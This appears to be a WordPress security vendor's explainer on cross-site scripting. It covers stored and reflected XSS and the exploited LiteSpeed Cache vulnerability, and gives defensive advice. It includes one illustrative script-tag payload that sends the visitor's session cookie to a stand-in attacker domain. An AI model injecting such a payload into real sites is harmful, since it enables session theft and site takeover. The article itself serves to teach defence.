The one-sentence version
Cross-site scripting — XSS — happens when a website takes something a visitor typed in and displays it back as part of the page without properly neutralizing it first, which lets an attacker sneak in their own code disguised as ordinary text, and have that code run in someone else's browser as if it belonged on the site.
That's the whole concept. The "cross-site" part refers to the fact that the malicious code, even though it's now sitting on your site, was actually authored by someone else entirely — it just gets executed under your site's identity, in whoever's browser happens to load that page.
Why this matters more than it sounds like it should
A browser trusts code that appears to come from the site it's currently looking at. If you're logged into your WordPress dashboard and a page you're viewing contains a hidden script, that script runs with your browser's current permissions — including your logged-in session. It doesn't need your password. It just needs your browser to load a page containing the injected code while you happen to be signed in.
That's what separates XSS from most of what people picture when they hear "hacked." Nothing was brute-forced. No password was guessed. The attacker just found a spot on the site that echoes back user input unsafely, and used that spot to get their own code to run in an administrator's browser.
Stored XSS vs. reflected XSS
These are the two shapes this takes, and the difference matters for how dangerous each one actually is:
- Stored XSS is the more serious version. The malicious input gets saved somewhere — a comment, a form submission, a product review, a user profile field — and then gets displayed to every visitor (or every admin reviewing that content) from then on, with no further action needed from the attacker. Plant it once, and it fires repeatedly until someone finds and removes it.
- Reflected XSS only fires in the moment. The malicious code lives in a URL or a search query, and only executes if a specific person clicks that specific crafted link. It requires tricking someone into clicking something — usually via a phishing email or a message — rather than sitting quietly waiting for a visit.
Stored XSS in a plugin's comment or review field is the pattern worth taking most seriously, because it doesn't require luring anyone anywhere — it just requires them to browse the site normally.
Why this is almost always a plugin problem, not a WordPress problem
WordPress core has had a small number of XSS issues over its history, but the overwhelming majority of WordPress-related XSS disclosures are in plugins and themes, not core itself. The reason is structural: core's own contributor and review process is unusually rigorous for a project this size, while the plugin ecosystem is tens of thousands of independently maintained pieces of code of wildly varying quality, many built by small teams without a dedicated security review step. Any place a plugin accepts user input — a form field, a search box, a URL parameter, a file name, a review — and later displays it back without properly escaping it is a candidate.
A real, current example
In February 2024, Patchstack disclosed CVE-2023-40000, an unauthenticated stored XSS vulnerability in LiteSpeed Cache — a caching plugin running on more than 5 million WordPress sites at the time (CVSS 8.3, fixed in version 5.7.0.1). This wasn't a theoretical finding: by May 2024, security researchers had confirmed it was being actively exploited in the wild, with attackers using the injected script to silently create their own administrator accounts on compromised sites — reported under the giveaway usernames wpsupp-user and wp-configuser.
That's the real-world version of "the attacker's code runs as an admin": no login was ever guessed or stolen. A visitor (or an automated crawler) simply loaded a page containing the stored payload, and — because that payload executed with admin-level access on the backend — a brand new administrator account appeared, fully authenticated, with no password ever cracked.
<script>document.location='https://attacker-domain.example/steal?c='+document.cookie</script>
That's a deliberately simplified, illustrative example — a real payload is usually more obfuscated to slip past basic filtering — but the shape is the same: a script tag hidden inside what should have been plain text, designed to run silently and send something valuable (a session cookie, in this example) back to a server the attacker controls.
What an attacker actually gets out of it
- A stolen admin session. If the victim is logged in as an administrator when the script runs, the attacker can potentially act with that same access — including installing a new plugin, which opens the door to nearly anything else.
- A new admin account created silently, exactly as happened in the LiteSpeed Cache case above — often the actual goal, since a fresh account survives a password reset that would otherwise lock the attacker out.
- Visitors redirected or served malicious content, without ever touching WordPress core or needing valid credentials for anything.
What to actually do about it
- Keep every plugin and theme updated, promptly. The overwhelming majority of WordPress XSS incidents are disclosed vulnerabilities in specific plugin versions that already have a fix available — the LiteSpeed Cache case above had been patched for over six months before mass exploitation began. Staying current closes most of this category by itself.
- Remove plugins and themes you're not actively using. An inactive plugin with an unpatched XSS bug is still exploitable — deactivating isn't the same as never having installed it, and deleting unused code removes the risk entirely.
- Be more cautious with anything that accepts user-submitted content — comments, contact forms, reviews, user profile fields. These are exactly the input paths stored XSS depends on, so plugins handling them deserve extra attention when choosing what to install and how quickly to update it.
Get file, account, and login findings explained the moment they happen — not months later.
Install free →